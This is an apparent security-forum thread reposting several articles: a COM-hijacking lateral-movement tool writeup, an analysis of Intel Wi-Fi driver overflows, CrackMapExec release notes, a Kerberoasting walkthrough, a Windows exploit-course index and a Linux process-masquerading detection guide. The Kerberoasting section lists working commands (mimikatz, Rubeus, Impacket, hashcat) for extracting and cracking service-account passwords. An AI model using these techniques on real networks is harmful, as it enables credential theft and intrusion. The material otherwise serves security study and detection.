- James Forshaw
- COMProxy by Leoloobeek
- SwiftOnSecurity’s Sysmon Configuration
- Abusing DCOM For Yet Another Lateral Movement Technique by bohops
- COM Hijacking Techniques by David Tulis (NCC Group)
- Lateral Movement Using MMC20.Application COM Object by Enigma0x3
DCOM_Work
In-line with any proof-of-concept coding I do, **use at your own risk**. I do this type of after-hours work to further understand a topic and just become a better coder (I’m not good). Any program which tinkers with the registry can seriously break a system, so you’ve been warned.
DCOM_Work does everything possible to revert the registry configuration and permissions, but if the application terminates unexpectedly you might be left with a hung registry value which will impact system operation. In the link below, I’ve also included DCOM_Revert which will try to revert the target registry configuration. However, it wouldn’t hurt to have regedit.exe + remote registry on standby to modify the value if need be.
The operational comments of DCOM_Work are pretty self-explanatory; however, there are a few additional comments I would like to make.
- The mmgaserver module can be touch and go depending on the target OS, especially Server OSes, I’ve had pretty constant success using the Wordpad module. Coming up with new processes to inject into is pretty trivial though.
- The temp share is configured to permit null share sessions and ANONYMOUS LOGON to host the landing DLL which will be injected into wordpad.exe or mmgaserver.exe. To bypass this requirement, the RunAs registry value in the associated AppID registry key could be set to Interactive User; however, this would introduce a requirement of an active session on the remote target.
- The landing DLL used in the video was a stripped down version of COMProxy by Leoloobeek. From my experience, calling the intended COM DLL (wordpad -> uiribbon.dll or mmgaserver -> Windows.State.RepositoryPS.dll) provides a more stable injected process.
- To kick off the DCOM instance, powershell is spawned via CreateProcess which might get flagged by certain security products. There are better ways to approach this but not right now.
-
The following changes will occur remotely on a default Windows 10 system.
- If the remote registry is disabled and stopped, it will be set to manual_start and started.
- If the connecting account does not have write access to the target registry key, the built-in administrators group will be made owner and provided write-access.
- The target value will be changed to the specified DLL path provided in the program arguments – (\\192.168.1.10\temp\GetClassObjectDLL_WordPad.dll).
-
If everything works, the following reversions will be performed after the DCOM instance is created.
- The target value will be reverted to the starting DLL path obtained during the initial gathering phase of execution (%systemroot%\system32\uiribbon.dll).
- If the registry permissions were changed, the registry key will be reverted to the original owner (including TrustedInstaller) and the built-in administrators permissions will be set to KEY_READ, the default on Windows 10.
- If the remote registry settings were changed, it will be reverted to it’s initial start state (disabled, manual_start, auto_start).
On the Defensive
COM Hijacking is actively employed by adversaries so it’s important to prevent and detect; fortunately for us, this is easy to detect. Employing sysmon with a configuration like SwiftOnSecurity’s example here will do the trick. As we can see in the details, this will never happen during normal operation and is easy to distinguish as malicious. However, it’s important to note that there are quite a few weird and wonderful registry keys under \..\CLSID\{GUID}\, some of which I’m sure could hijack execution, so it’s best to keep dynamic with sysmon configurations.
<TargetObject name="T1122" condition="end with">\InprocServer32\(Default)</TargetObject>
From a prevention standpoint, this is a bit more tricky but definitely doable. In my home lab the target remote system was running up-to-date Defender which highlights standard AV probably won’t do much (MS or whatever). Applocker DLL rules could restrict UNC paths quite simply, but this is more a band-aid … and honestly, who isn’t driven away by that ominous DLL rules can cause performance issues message. Ultimately, my hope was to have WDAC setup in my home lab but I couldn’t get it done in time. From my understanding, WDAC could have blocked this type of activity. I’m hoping to perform active testing in my lab and come up with a conclusive answer at a later date.
Sursa: https://ijustwannared.team/2020/05/05/com-hijacking-for-lateral-movement/
-
ANALYZING A TRIO OF REMOTE CODE EXECUTION BUGS IN INTEL WIRELESS ADAPTERS
May 05, 2020 | Vincent LeeEarlier this month, we published three memory corruption bugs (ZDI-20-494, ZDI-20-495, and ZDI-20-496 - collectively referred to as CVE-2020-0558) affecting two Windows Wi-Fi drivers for various Intel dual-band wireless adapters. According to the vendor, these drivers are intended for the AC 7265 Rev D, AC 3168, AC 8265, and AC8260 wireless adapters. Both ZDI-20-494 and ZDI-20-496 are out-of-bounds write vulnerabilities that share a common root cause and reside in both drivers, namely Netwtw04.sys and Netwtw06.sys. ZDI-20-495 is a stack buffer overflow vulnerability that affects the Netwtw06.sys driver only. These bugs were discovered by Haikuo Xie and Ying Wang of Baidu Security Lab and were originally reported to the ZDI at the end of November 2019.
You may find a copy of the PoCs for all three vulnerabilities at our GitHub page and poke at them yourself. The PoCs have been tested against the AC 3168 and AC 8260 adapters using the Qualcomm Atheros AR9271-based USB network adapter.
All three vulnerabilities require the victim to enable the “Mobile Hotspot” feature. An attacker could exploit these vulnerabilities by simply connecting to the wireless network with malicious 802.11 MAC frames without knowing the password for the mobile hotspot.
ZDI-20-495
This stack-buffer overflow vulnerability exists in the Netwtw06.sys driver. The PoC sends four 802.11 MAC frames to the victim mobile hotspot, triggering a BSOD on the victim machine. The cause of the vulnerability is straightforward. An overly long SSID is passed to a vulnerable function through the Tag-length-value encoded information element tagged-parameter located within an 802.11 association request frame body. Below is the dissection of the malicious frame, as generated with the Scapy utility:
View fullsizeFigure 1 - Packet dissection of the malicious 802.11 Frame
In the above diagram, we can see the information element with the ID 0x00, which corresponds to the SSID, has a length of 55 bytes. The long SSID string follows.
The vulnerable function, prvhPanClientSaveAssocResp(), copies the SSID into a fixed-length stack buffer through memcpy_s() with an incorrect DstSize parameter. Instead of the destination buffer size, it supplies the attacker-provided SSID length. Below is a disassembly code snippet of the prvhPanClientSaveAssocResp() function taken from version 20.70.13.2 of the driver.
View fullsizeFigure 2 - Disassembly of the vulnerable function prvhPanClientSaveAssocResp()
At 0x1403A7F5C, r8 points to the start of the SSID information element. At 0x1403A7F66, the attacker provided SSID length (55) is passed to DstSize, and this value is later passed into MaxCount as well. Passing the SSID length in this manner defeats the security of memcpy_s() and is the essence of this vulnerability. If we look further up the disassembly, we can see the stack buffer, var_4C, is 36 bytes long only:
View fullsizeFigure 3 - Stack buffer var_4C
When memcpy_s() proceeds to copy the attacker-controlled buffer into the undersized stack buffer variable, a buffer overflow condition occurs.
ZDI-20-494 and ZDI-20-496
Since these two vulnerabilities share the same root cause, we will discuss ZDI-20-494 only. An out-of-bounds write vulnerability exists within the processing of association request frames. In order to reach the vulnerable code path, the attacker must first send an authentication request[1] before sending the malicious association request. The attacker sends an association request frame containing an information element with the ID of 59 (0x3B), which corresponds to Supported Operational Classes. The value of the information element consists of 221 null bytes. A frame dissection of the request follows:
View fullsizeFigure 4 - Packet dissection of the malicious association request sent by the PoC
The driver calls two functions to handle the information element: prvPanCnctProcessAssocSupportedChannelList() and utilRegulatoryClassToChannelList(). In the handling of the malicious request, prvPanCnctProcessAssocSupportedChannelList() attempts to call the function utilRegulatoryClassToChannelList() 221 times, corresponding to the information element length. Below is a disassembly code snippet of the prvPanCnctProcessAssocSupportedChannelList() function taken from version 19.51.23.1 of the Netwtw04.sys driver:
View fullsizeFigure 5 - Disassembly snippet of prvPanCnctProcessAssocSupportedChannelList ()
At 0x140388500, the ebx loop index is initialized to 0. The loop exit condition at 0x1403885AF compares the loop index ebx with the information element length stored in the eax register from four instructions prior[2]. The utilRegulatoryClassToChannelList() function is called within the loop body at 0x140388559. The third argument to the function is a memory buffer address passed through the r8 register, which is the address of the buffer affected by this out-of-bounds write vulnerability. Also note that at 0x14088502, the first DWORD of the buffer is initialized to zero.
The utilRegulatoryClassToChannelList() function reads the first DWORD of the buffer from the vulnerable buffer as an index and uses it as an offset to write 0xFF bytes of data to itself. This occurs every time the function is called. Due to a lack of bounds checking, it is possible for the index to point to memory regions beyond the end of the buffer when this function is called repeatedly.
View fullsizeFigure 6 - Disassembly of utilRegulatoryClassToChannelList()
At 0x1400D06A8, the vulnerable buffer from the third argument is transferred to the rbx register. At 0x140D068F, the loop index edi is initialized to 0 prior to entering the loop body. This will iterate for 0xFF times. In the basic block starting from 0x140D0718, the first DWORD from the buffer is read and stored in the eax register. This value is immediately used as an offset to the vulnerable buffer and a byte is written to it. At 0x1004D0729, the first DWORD of the vulnerable buffer is incremented. An out-of-bounds write condition occurs when the utilRegulatoryClassToChannelList() function is called more than two times.
Conclusion
Although the triggering conditions for these bugs are quite rare, it is still very interesting to see bugs in the data link layer to come through our program. While there have been a few talks on fuzzing the information element, we are not seeing many analyses and discoveries of Wi-Fi-based bugs. The IEEE 802.11 family of wireless technology standards offer a vast attack surface, and the vulnerability researcher community has barely begun to scrutinize the protocol. A good driver bug from this attack vector gives direct access to the kernel. When compared to web browser-based attacks, which require multiple bugs and sandbox escapes, the Wi-Fi attack vector could be an interesting alternate vector for attackers to consider. For those interested in learning more about the IEEE 802.11 family of standards, 802.11 Wireless Networks: The Definitive Guide written by Matthew S. Gast is a great resource to start your learning.
You can find me on Twitter @TrendyTofu, and follow the team for the latest in exploit techniques and security patches.
Footnotes
[1] An authentication request is not to be confused with the Robust Security Network, also known as RSN or WPA2, standard defined in IEEE 802.11i-2004. An authentication request is a low-level “authentication” that provides no meaningful network security. It is better to think of this as a station identifying itself to the network.
[2] Since the index starts from zero, eax is decremented once prior to comparison to avoid an off-by-one mistake. This looks like a for-loop was converted into a do-while loop at compile time. Such conversions are often done to reduce the number of jump instructions and to reduce the loop overhead. For those interested in learning more about loop optimization, consider reading section 12 of Optimizing subroutines in assembly language: An optimization guide for x86 platforms by Agner Fog.
-
CrackMapExec v5.0.2dev
💫 Features 💫
- CME accepts a file as argument with option -x and -X
- WinRM can now execute a command even if not local admin thanks to pypsrp lib
- Kerberos support is added to CME 💥
- commands --put-file and --get-file have been added allowing to put or get remote file
- option --no-bruteforce has been added allowing you to spray credentials without bruteforce
- CME will now always show FQDN 👮
🔧 Issues 🔧
- Issues with SSH connection are fixed
- MSSQL and WinRM protocoles have been updated allowing connections even if SMB is not open
- Fix some encoding problems as always 💩
- LSASSY module output has been improved when no credentials are found thanks to @Hackndo
- encoding problem with GPP_PASSWORD and GPP_AUTOLOGIN should be fixed
🚀 Modules 🚀
- both Metasploit and empire modules are back in the game
- module wireless has been added to CME
- module bh_owned has been added by @Hackndo allowing to send credentials from CME to bloodhound to mark a computer as owned 🐩
Also, thank you all for the support ! 💪
Assets6cme-macOS-latest.zip46.7 MBcme-ubuntu-latest.zip53.2 MBcmedb-macOS-latest.zip46.7 MBcmedb-ubuntu-latest.zip53.2 MB -
Deep Dive into Kerberoasting Attack
In this article, we will discuss kerberoasting attacks and other multiple methods of abusing Kerberos authentication. But before that, you need to understand how Kerberos authentication works between client-server communication.
“Kerberos is for authentication not for authorization, this lacuna allows kerberoasting”
Table of Content
SECTION A: Kerberos Authentication Flow
- Kerberos & its Major Components
- Kerberos Workflow using Messages
SECTION B: Service Principle Name SPN
- Service Principle Name SPN
- Important Points
- The SPN syntax has four elements
- Type of SPN
SECTION 😄 Kerberoasting Attack Walkthrough
- What is Kerberoasting
- Kerberoasting Major Steps
-
PART 1: OLD Kerberoasting Procedure on Host System
- Powershell Script
- Mimikatz
-
PART 2: NEW Kerberoasting Procedure on Host System
- Rubeus.exe
- ps1 Powershell Script
-
PART 3: OLD Kerberoasting Procedure on Remote System
- Powershell Empire
- Metasploit
-
PART 4: NEW Kerberoasting Procedure on Remote System
- PowerShell Empire
- Metasploit
- Impacket
SECTION A: Kerberos Authentication Flow
Table of Content
- Kerberos & its major Components
- Kerberos Workflow using Messages
KERBEROS & its Major Components
The Kerberos protocol defines how clients interact with a network authentication service. Clients obtain tickets from the Kerberos Key Distribution Center (KDC), and they submit these tickets to application servers when connections are established. It uses UDP port 88 by default and depends on the process of symmetric key cryptography.
“Kerberos uses tickets to authenticate a user and completely avoids sending passwords across the network”.
There are some key components in Kerberos authentication that play a crucial role in the entire authentication process.
Kerberos Workflow using Messages
In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD uses the KRBTGT account in the AD domain.
The image below shows that the major role played by KDC in establishing a secure connection between the server & client and the entire process uses some special components as defined in the table above.
As mentioned above, Kerberos uses symmetric cryptography for encryption and decryption. Let us get into more details and try to understand how encrypted messages are sent to each other. Here we use three colours to distinguish Hashes:
- BLUE _KEY: User NTLM HASH
- YELLOW_KEY: Krbtgt NTLM HASH
- RED_KEY: Service NTLM HASH
Step 1: By sending the request message to KDC, client initializes communication as:
- KRB_AS_REQ contains the following:
- Username of the client to be authenticated.
- The service SPN (SERVICE PRINCIPAL NAME) linked with Krbtgt account
- An encrypted timestamp (Locked with User Hash: Blue Key)
The entire message is encrypted using the User NTLM hash (Locked with BLUE KEY) to authenticate the user and prevent replay attacks.
Step 2: The KDC uses a database consisting of Users/Krbtgt/Services hashes to decrypt a message (Unlock with BLUE KEY) that authenticates user identification.
Then KDC will generate TGT (Ticket Granting Ticket) for a client that is encrypted using Krbtgt hash (Locked with Yellow Key) & some Encrypted Message using User Hash.
- KRB_AS_REP contains the following:
- Username
-
Some encrypted data, (Locked with User Hash: Blue Key) that contains:
- Session key
- The expiration date of TGT
-
TGT, (Locked with Krbtgt Hash: Yellow Key) which contains:
- Username
- Session key
- The expiration date of TGT
- PAC with user privileges, signed by KDC
Step 3: The KRB_TGT will be stored in the Kerberos tray (Memory) of the client machine, as the user already has the KRB_TGT, which is used to identify himself for the TGS request. The client sent a copy of the TGT with the encrypted data to KDC.
- KRB_TGS_REQ contains:
-
Encrypted data with the session key
- Username
- Timestamp
- TGT
- SPN of requested service e.g. SQL service
Step 4: The KDC receives the KRB_TGS_REQ message and decrypts the message using Krbtgt hash to verify TGT (Unlock using Yellow key), then KDC returns a TGS as KRB_TGS_REP which is encrypted using requested service hash (Locked with Red Key) & Some Encrypted Message using User Hash.
- KRB_TGS_REP contains:
- Username
-
Encrypted data with the session key:
- Service session key
- The expiration date of TGS
-
TGS, (Service Hash: RED Key) which contains:
- Service session key
- Username
- The expiration date of TGS
- PAC with user privileges, signed by KDC
Step 5: The user sent the copy of TGS to the Application Server,
- KRB_AP_REQ contains:
- TGS
-
Encrypted data with the service session key:
- Username
- Timestamp, to avoid replay attacks
Step 6: The application attempts to decrypt the message using its NTLM hash and to verify the PAC from KDC to identify user Privilege which is an optional case.
Step 7: KDC verifies PAC (Optional)
Step 8: Allow the user to access the service for a specific time.
SECTION B: Service Principle Name SPN
Table of Content
- Service Principle Name SPN
- Important Points
- The SPN syntax has four elements
- Type of SPN
Service Principle Name
The Service Principal Name (SPN) is a unique identifier for a service instance. Active Directory Domain Services and Windows provide support for Service Principal Names (SPNs), which are key components of the Kerberos mechanism through which a client authenticates a service.
Important Points
- If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN.
- Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account.
- A given SPN can be registered on only one account.
- An SPN must be unique in the forest in which it is registered.
- If it is not unique, authentication will fail.
The SPN syntax has four elements
Type of SPN:
- Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days, hence it is no use in Kerberoasting attacks
- SPNs that have been associated with a domain user account where NTLM hash will be used.
Section 😄 Kerberoasting Attack Walkthrough
Table of Content
- What is Kerberoasting?
- Kerberoasting Major Steps
-
PART 1: OLD Kerberoasting Procedure on Host System
- Powershell Script
- Mimikatz
-
PART 2: NEW Kerberoasting Procedure on Host System
- Rubesus.exe
- ps1 Powershell Script
- PART 3: OLD Kerberoasting Procedure on Remote System
- Powershell Empire
- Metasploit
-
PART 4: NEW Kerberoasting Procedure on Remote System
- PowerShell Empire
- Metasploit
- Impacket
What is Kerberoasting?
Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password.
As explained above, the Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs). When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service.
An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account.
Kerberoasting Major Steps
This attack is multiple steps process as given below:
Step 0: Access the Client system of the domain network by Hook or Crook.
Step 1: Discover or scan the registered SPN.
Step 2: Request for TGS ticket for discovered SPN using Mimikatz or any other tool.
Step 3: Dump the TGS ticket which may have extention .kirbi or ccache or service HASH (in some scenario)
Step 4: Convert the .kirbi or ccache file into a crackable format
Step 5: Use a dictionary for the brute force attack.
We have attack categories such as OLD or NEW kerberoasting on the Host or Remote system.
OLD Procedure: These are techniques where multiple kerberoasting steps are performed.
NEW Procedure: These are single-step techniques used for kerberoasting.
PART 1: OLD Kerberoasting Procedure on Host System
Method 1: Powershell Script
Step 1: SPN Discover
Download “Find-PotentiallyCrackableAccounts.ps1” & “Export-PotentiallyCrackableAccounts.ps1” from here on the host machine. These scripts will discover the SPN and save the output in CSV format.
1234Import-Module .\Find-PotentiallyCrackableAccounts.ps1Find-PotentiallyCrackableAccounts.ps1 -FullData -VerboseImport-Module .\Export-PotentiallyCrackableAccounts.ps1Export-PotentiallyCrackableAccountsAnother powershell script “GetUserSPns .ps1” Download it from here it will Query the domain to discover the SPNs that use User accounts as you can observe that we have found SPN name with the help of followed command.
1.\GetUserSPns .ps1Import the module in the powershell run the said command here I have enumerated SPN for SQL Service.
Step 2: Extract & Dump TGS_ticket & Obtain Hash
Here, I try to extract the KRB_TGS from inside the host memory with the help of another PowerShell script called “TGSCipher.ps1” which you can download from here and simultaneously convert the request output it into John format.
1Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format JohnAs a result, we obtain the HASH string for the SQL Service.
Step 3: Brute Force HASH
Now, this is the last and desired phase where we have used a dictionary for brute-forcing the HASH, thus we saved above-enumerated hash in a text file and run the following command.
1john --wordlist=/usr/share/wordlists/rockyou.txt hashesBoom! Boom!!! And we’ve made a successful kerberoasting attack by obtaining a password for the SQL service.
Method 2: Mimikatz
Similarly, you can use mimikatz for the entire attack which means it can be used for SPN discovery and dumping the TGS ticket.
Step 1: SPN Discovery
Download and execute the mimikatz & run Kerberos::list command for SPN discovery.
12./mimikatz.exekerberos::listStep 2: Dump TGS ticket
Run the export command for extracting the ticket named contains .kirbi extension.
1kerberos::list /exportStep 3: Convert the Kirbi to Hash & Brute Force Hash
I renamed the obtain file name as “1-40a5000…..kirbi” into “raj.kirbi” and again convert raj.kirbi into john crackable format with the help of kirbi2john.py (possible at /usr/share/john/) named as “kirbihash”; then use john for brute force as done in 1st Method.
123mv "1-40a5000…..kirbi" "raj.kirbi"/usr/share/john/kirbi2john.py raj.kirbi > kirbihashjohn --wordlist=/usr/share/wordlists/rockyou.txt kirbihashPART 2: NEW Kerberoasting Procedure on Host System
Method 1: Rubeus.exe
Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)
Rebeus.exe is a terrific tool as it comes with a kerberoast module that discovers SPN, extracts TGS, and dump service Hash, which can be done with the help of the following command.
1./Rubeus.exe kerberoast /outfile:hash.txtStep 2: Brute Force Hash
So, we have saved the service hash in the text file “hash.txt” and use a dictionary to brute force the hash and extract the service password using hashcat tool.
1hashcat -m 13100 --force -a 0 hash.txt dict.txtAs a result, you can observe that we have extracted the password of the service.
Method 2: Kerberoast PowerShell Script
Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)
Kerberoast.ps1 is a PowerShell script which is as similar above module, you can download it from here, it discovers the SPN, extract TGS and dump service Hash, this can be done with the help of the following command.
12Import-Module .\Invoke-kerberoast.ps1Invoke-kerberoastOnce you get the service hash, follow the above method to brute force the password.
Step 2: Brute Force Hash
Again, repeat the same procedure to brute force the hashes.
PART 3: OLD Kerberoasting Procedure on Remote System
Method 1: Metasploit
-
PowerShell script via meterpreter
- ps1- SPN Discovery script
- SetSPN Utility
- ps1
- Mimikatz via Metasploit
1. PowerShell script via meterpreter
Step1: SPN Discovery
Download “Find-PotentiallyCrackableAccounts.ps1” & “Export-PotentiallyCrackableAccounts.ps1” from here in your local machine and upload it on the host machine through meterpreter session, then invoke PowerShell to execute the script remotely.
These scripts will discover the SPN and save the output in CSV format.
1234Import-Module .\Find-PotentiallyCrackableAccounts.ps1Find-PotentiallyCrackableAccounts -FullData -VerboseImport-Module .\Export-PotentiallyCrackableAccounts.ps1Export-PotentiallyCrackableAccountsDownload the Report.csv in your local machine.
The report.csv file will list the SPNs available in the host system.
Setspn – SPN Discovery Utility
Another method, obtain the meterpreter session by compromising the host machine and load PowerShell. Use setspn utility to list all SPNs in the domain.
1setspn -T ignite -Q */*As you can observe that again we have discovered the SPN for SQL service
Step 2: Extract & Dump TGS_ticket & Obtain Hash
Upload the PowerShell script “TGSCipher.ps1” and simultaneously convert the request output it into John format.
12Import-Module .\Get-TGSCipher.ps1Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format JohnAs a result, we obtain the HASH string for the SQL Service.
Step 3: Brute Force Hash
Again, repeat the same procedure to brute force the hashes.
2. Mimikatz via Metasploit
Once you have the meterpreter session of the host system then you can try to upload mimikatz.exe and then perform all steps discussed in Part 1 of section C.
Step 1: SPN Discovery
Download and execute the mimikatz & run Kerberos::list command for SPN discovery
12./mimikatz.exekerberos::listStep 2: Dump TGS ticket
Run the export command for extracting the ticket named with .kirbi extension.
1kerberos::list /exportDownload the kirbi file in your local machine to convert it into the crackable format.
Step 3: Convert the Kirbi to Hash & Brute Force Hash
Again, I renamed the obtain file name as “2-40a5000…..kirbi” into “raj.kirbi” and again convert local.kirbi into john crackable format with the help of kirbi2john.py (possible at /usr/share/john/) named as “localhash”; then use john for brute force as done above.
123mv "40a5000.....kirbi" "local.kirbi"/usr/share/john/kirbi2john.py local.kirbi > localhashjohn –wordlist=/usr/share/wordlists/rockyou.txt localhashMethod 2: PowerShell Empire
Step 1: SPN Discovery use setspn follow above method (Optional in this module)
Step 2: Extract & Dump TGS_ticket & Obtain Hash
Once you have empire agent, execute the below module which will extract and dumb .kirbi format file for TGS ticket.
12usemodule credential/mimikatz/extract_ticketsexecuteStep 3: Convert kirbi to hash & then Brute force
You can also tgscrack.py which a dedicated python script that converts kirbi format into the crackable format and then brute force the hashes to extract the password. Download it from here then run the following commands
123mv [kirbi_file] [new.kirbi]python extractServiceTicketParts.py [path_of_new.kirbi_file] > ignitehashgo run tgscrack.go -hashfile ignitehash -wordlist /usr/share/wordlists/rockyou.txtPART 4: NEW Kerberoasting Procedure on Remote System
Method 1: PowerShell Empire
Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)
Once you have Empire/agent then load invoke_kerberoast module, it is a cool module as it discovered the SPN, extracts the ticket, and dump the service hash from inside the TGS cipher.
12usemodule credentials/invoke_kerberoastexecuteAs you can observe that it has dumped the service hash within a second of time.
Step 2: Brute Force Hash
Again, repeat the same procedure to brute force the hashes.
Method 2: Metasploit
Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)
If you are Metasploit interface lover then after obtaining a meterpreter session you can load the PowerShell and upload kerberoast.ps1 script, download it from here, it discovered the SPN, extract the TGS ticket then dump the service hash from inside the TGS cipher.
12powershell_import /root/powershell/Invoke-kerberoast.ps1powershell_execute Invoke-KerberoastStep 2: Brute Force Hash
Again, repeat the same procedure to brute force the hashes.
Method 3: Impacket
Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one)
Use Impacket inbuilt module “GetUSerSPNs.py”, it is a python script that it discovers SPN, extract TGS and dump service Hash, this can be done with the help of the following command:
1./GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashikaIt will dump the service hash and with the help of the dictionary, you can brute force it for extracting service passwords.
Step 2: Brute Force Hash
Again, repeat the same procedure to brute force the hashes.
1john –wordlist=/usr/share/wordlists/rockyou.txt hashesReference: Microsoft Service Principal Names
https://www.tarlogic.com/en/blog/how-kerberos-works/
Sursa: https://www.hackingarticles.in/deep-dive-into-kerberoasting-attack/
-
Welcome! I am Fu11shade, I specialize in 0day research and offensive Windows exploitation, this course is to fill in the gap on the internet for Windows exploitation content. I am rapidly working to finish the last few (newly added) posts, everything should be finished by the end of this week. Currently about 5-6 missing posts so far.
This page provides a pathway for learning Windows exploit development, following the provided blog posts will allow you to learn Windows exploit development from the basics, to advanced kernel exploitation on a Windows 10 system with all the mitigations enabled.
This course can all be downloaded as a polished PDF book format [coming soon!]
Basic exploitation (late 1990’s - early 2010’s era)
https://github.com/FULLSHADE/OSCE is my repository with over 25 from scratch written exploits, these exploits are in-scope of the “basic exploitation” category of this series.
Fair warning, some of the following posts are not finished yet… Most everything else is
Id Article Author 0 Setting up Immunity and WinDBG with Mona.py FullShade 1 Classic JMP ESP buffer overflow FullShade 2 Local SEH buffer overflow FullShade 3 Local SEH buffer overflow with a DEP bypass FullShade 4 Remote SEH overflow with egghunters FullShade 5 Remote SEH overflows & multi-stage jumps FullShade 6 SEH overflows, alphanumber & unicode encoding bypass FullShade 7 Bypassing SEH mitigations with DLL injection FullShade 8 Code caving and backdooring PEs FullShade Windows Internals theory
Id Article Author 9 Understanding Windows security mitigations FullShade 10 Understanding Windows memory data structures FullShade 11 Understanding the PEB & WinDBG analysis FullShade 12 Kernel Opaque data structures & access tokens FullShade 13 Windows Kernel memory pool & vulnerabilities FullShade 14 Basics of Kernel-mode driver (IRPs) & I/O requests FullShade 15 IOCTL’s for kernel driver exploit development FullShade Windows kernel exploitation (2010 - 2013 era)
POCs and fully completed exploits can be found here https://github.com/FULLSHADE/HEVD-Exploits, more coming thing week
Id Article Author 16 Writing a Windows Kernel-Mode Driver - Part 1 FullShade 17 HEVD - Windows 7 x86 Kernel Stack Overflow FullShade 18 HEVD - Windows 7 x86 Kernel NULL Pointer Dereference FullShade 19 HEVD - Windows 7 x86 Kernel Type Confusion FullShade 20 HEVD - Windows 7 x86 Kernel Arbitrary Write FullShade 21 HEVD - Windows 7 x86 Kernel Use-After-Free FullShade 22 HEVD - Windows 7 x86 Kernel Interger Overflow FullShade 23 HEVD - Windows 7 x86 Kernel Uninitialized Stack Variable FullShade 24 HEVD - Windows 7 x86 Kernel Pool Overflow FullShade 25 HEVD - Windows 7 x86_64 Kernel Stack Overflow FullShade 26 HEVD - Windows 7 x86_64 Kernel Arbitrary Write FullShade Advanced Windows kernel exploitation (2016 - 2020 era)
Id Article Author 27 HEVD - Windows 8.1 64-bit Kernel Stack Overflow w/ SMEP FullShade 28 Leaking Kernel Addresses on Windows 10 64-bit FullShade 29 Abusing GDI Bitmap objects on Windows 10 64-bit FullShade Hunting Windows 0days
Once you have enough Windows exploitation knowledge, you can start auditing third-party applications and drivers for 0day vulnerabilities, below are a few that have been discovered with this level of information.
Discovered 0days by me can be found littered around my Github profile, more organization will come soon
Id Article Author 30 Fuzzing drivers for 0days, discover new vulnerabilities FullShade
Sursa: https://fullpwnops.com/windows-exploitation-pathway.html
-
Detecting Linux kernel process masquerading with command line forensics
By Craig Rowland on 27 Apr 2020
Linux kernel process masquerading is sometimes used by malware to hide when it is running. Let’s go over how you can unmask a piece of Linux malware using this tactic.
What is Linux kernel process masquerading?
On Linux, the kernel has many threads created to help with system tasks. These threads can be for scheduling, disk I/O, and so forth.
When you use a standard process listing command, such as ps, these threads will show up as having [brackets] around them to denote that they are threads of some kind. Ordinary processes will not normally show up with [brackets] around them in the ps listing. The brackets denote that the process has no command-line arguments, which usually means it was spawned as a thread.
For example, the below listing shows kernel threads vs. normal processes:
ps –auxww
Figure 1 — Linux kernel threads vs. normal processes.
What does it look like?
Linux malware uses a variety of techniques to hide from detection.
One method they will use is to try to impersonate a kernel thread by making the process show [brackets] around its name in the ps listing. Administrators can easily overlook a malicious process this way.
If you look at the listing below, we have started a process to hide itself by trying to look like a kernel thread. Can you see it?
Figure 2 — An example of Linux kernel thread masquerading hiding.
How to impersonate a Linux kernel thread
Now that you know what Linux kernel thread masquerading looks like, let’s set up a test so you can play with how to find it using command line forensics.
We’ll use the sleep command for our simulation as you can do it on any system without fear of causing trouble:
export PATH=.:$PATH cp /bin/sleep /tmp/[kworkerd] cd /tmp "[kworkerd]" 3600 &
The export path sets things so we can execute the file in the local directory without needing to put a “./” in front of it. This makes it look more legit.
We next copy the sleep command over to /tmp and then run it under the bogus name [kworkerd]. We put on a value of 3,600 seconds to the sleep command so it will quietly exit after an hour once testing is over.
Let’s look at our handiwork and we should see [kworkerd] running when we do our ps command.
ps -auxww
Figure 3 — Real vs. imposter Linux kernel thread.
De-cloaking Linux kernel thread masquerading with process maps
The first method we’ll use to de-cloak a masquerading process is to see if it has any contents under /proc/<PID>/maps.
This location is normally where processes show libraries they are linking to and where they mapped to in memory. For real kernel threads, it should be empty. If you look at this location for a process that is named in [brackets] but it shows any data, then it is not a real kernel thread.
The basic command we’ll use is cat /proc/<PID>/maps where <PID> is the process ID we are investigating. In the above example, we think that [kworkerd] looks suspicious with PID 2121 so we’ll check it out:
cat /proc/2121/maps
Figure 4 — Using Linux /proc maps to detect kernel masquerading.
If you see anything listed under this area and the process has [brackets] around it, then it’s likely malicious and trying to hide.
If you want, you can run this command to quickly go over all the system PIDs and see which ones are named with brackets but have maps files. Normally you should see nothing here. Anything that shows data should be investigated further.
ps auxww | grep \\[ | awk '{print $2}' | xargs -I % sh -c 'echo PID: %; cat /proc/%/maps' 2> /dev/null
This command outputs the image below if it finds something.
Figure 5 — Finding Linux kernel masquerading with a script.
In the /proc/<PID>/maps;listing you’ll see some paths to investigate where the binary has links to itself or libraries it is using. In the above, we see the path /tmp/[kworkerd] which would be a high priority location to investigate. You may also see libraries that are suspicious, references to hidden directories, and so forth. Take a close look at it and be sure you don’t miss anything!
De-cloaking Linux kernel thread masquerading with cryptographic hashing
Another way to de-cloak a masquerading Linux kernel thread is to see if it shows a binary attached to the running process. Basically, you just use the technique we discussed on recovering malicious binaries that are deleted, but see if you can get a SHA1 hash. If you get a hash back, then it’s a normal process trying to hide and is not a kernel thread. Real kernel threads won’t have a link to the binary that started them. This technique was suggested by @r00tkillah on Twitter when this subject was first posted.
A process binary on Linux can be quickly copied if you simply look at /proc/<PID>/exe. You can copy this file to a new location and have an instant snapshot of the binary that started the process. You can also use this link to get an instant hash to check against databases of known malware. Real kernel threads won’t have this data available, only imposters will.
In our case, we’ll use this knowledge to investigate our suspicious PID 2121 like this:
sha1sum /proc/2121/exe
